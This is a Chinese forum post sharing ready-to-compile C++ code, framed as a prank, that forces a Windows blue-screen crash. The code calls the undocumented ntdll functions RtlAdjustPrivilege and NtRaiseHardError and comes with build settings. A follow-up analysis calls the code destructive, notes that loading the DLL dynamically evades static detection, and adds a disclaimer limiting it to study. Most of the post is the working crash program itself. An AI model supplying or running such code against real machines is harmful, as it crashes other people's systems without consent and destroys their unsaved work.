找回密码
 register

QQ登录

只需一步,快速开始

查看: 158|回复: 0

[C++] C/C++实现蓝屏效果

[复制链接]

[C++] C/C++实现蓝屏效果

[复制链接]
  • 打卡等级:热心大叔
  • 打卡总天数:185
  • 打卡月天数:8
  • 打卡总奖励:183
  • 最近打卡:2025-05-08 13:47:30
Waylee

主题

0

回帖

1万

积分

仙帝

积分
19615
Waylee 2025-3-23 17:50 | 显示全部楼层 |阅读模式 | Safari| iPhone iOS 18.3.2

马上注册,查看网站隐藏内容!!

您需要 登录 才可以下载或查看,没有账号?register

×

刷到抖音“程序员说”第七集,讲到一个java程序员每次摸鱼玩QQ飞车,还没玩到终点就蓝屏。
然后解释了用C++代码整人的源码。

好好好这么玩儿是吧,那么今天我给大家分享一个超级超级超级超级......咳咳咳...牛逼的蓝屏代码废话不多说直接来到大家超级超级超级超级......咳咳咳......喜欢的代码时间。

#include <Windows.h>
// 包含了 Windows 编程所需的头文件,提供了与 Windows 操作系统进行交互的各种函数、数据结构和常量定义

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
// WinMain 是 Windows 应用程序的入口点函数。
// HINSTANCE hInstance 是当前应用程序的实例句柄。
// HINSTANCE hPrevInstance 在 32 位 Windows 中始终为 NULL,已废弃。
// LPSTR lpCmdLine 是命令行参数。
// int nCmdShow 决定了窗口的初始显示方式

{
    HMODULE ntdll = LoadLibrary(L"ntdll.dll");
    // 使用 LoadLibrary 函数动态加载 ntdll.dll 库。
    // ntdll.dll 是 Windows 内核的重要模块,包含了许多底层的系统函数。

    FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege");
    // 通过 GetProcAddress 函数获取 ntdll.dll 库中 "RtlAdjustPrivilege" 函数的地址。

    FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError");
    // 同样通过 GetProcAddress 函数获取 "NtRaiseHardError" 函数的地址。

    unsigned char ErrKill;
    // 定义一个无符号字符类型的变量 ErrKill,用于存储相关数据。

    long unsigned int HDErr;
    // 定义一个无符号长整型变量 HDErr,用于存储相关数据。

    ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill);
    // 进行函数指针的类型转换,并调用 "RtlAdjustPrivilege" 函数,传递了特定的参数 0x13、true、false 和 ErrKill 的地址。

    ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr);
    // 进行函数指针的类型转换,并调用 "NtRaiseHardError" 函数,传递了特定的参数 0xc0000233 等和 HDErr 的地址。

    return 0;
    // 返回 0,表示程序正常结束。
}

检查项目配置

右键项目 → 属性 → 链接器 → 系统 → 子系统:
选择 Windows (/SUBSYSTEM:WINDOWS)。

这段代码的作用是触发 Windows 系统的蓝屏死机(BSOD),属于恶意破坏性代码。以下是关键点分析:

  1. 核心机制:

    • 通过 ntdll.dll 调用两个未公开的底层函数:
    • RtlAdjustPrivilege(0x13,...) 启用高权限(0x13对应SeShutdownPrivilege关机权限)
    • NtRaiseHardError(0xC0000233,...) 故意触发系统致命错误(参数0xC0000233是STATUS_SYSTEM_PROCESS_TERMINATED错误码)
  2. 行为表现:

    • 执行后会导致系统立即显示蓝屏错误界面
    • 可能造成未保存数据丢失
    • 需要强制重启计算机才能恢复
  3. 技术细节:

    • 使用了动态加载DLL的方式绕过静态检测
    • 直接调用Windows内核未文档化API
    • 参数6表示触发"终止响应"(系统崩溃)
  4. 危害性:

    • 属于破坏性代码
    • 可能违反计算机滥用相关法律
    • 实际应用中绝对不应使用此类代码

请注意:此类代码仅用于学习Windows内部机制,在实际开发中严禁使用。编译运行此类代码会导致系统立即崩溃,所有未保存数据将丢失。

您需要登录后才可以回帖 登录 | register

本版积分规则

雪舞知识库 | 浙ICP备15015590号-1 | 萌ICP备20232229号|浙公网安备33048102000118号 |网站地图|天天打卡

GMT+8, 2025-5-9 14:52 , Processed in 0.096241 second(s), 7 queries , Redis On.

Powered by XueWu Licensed

Copyright © Tencent Cloud.

快速回复 返回顶部 返回列表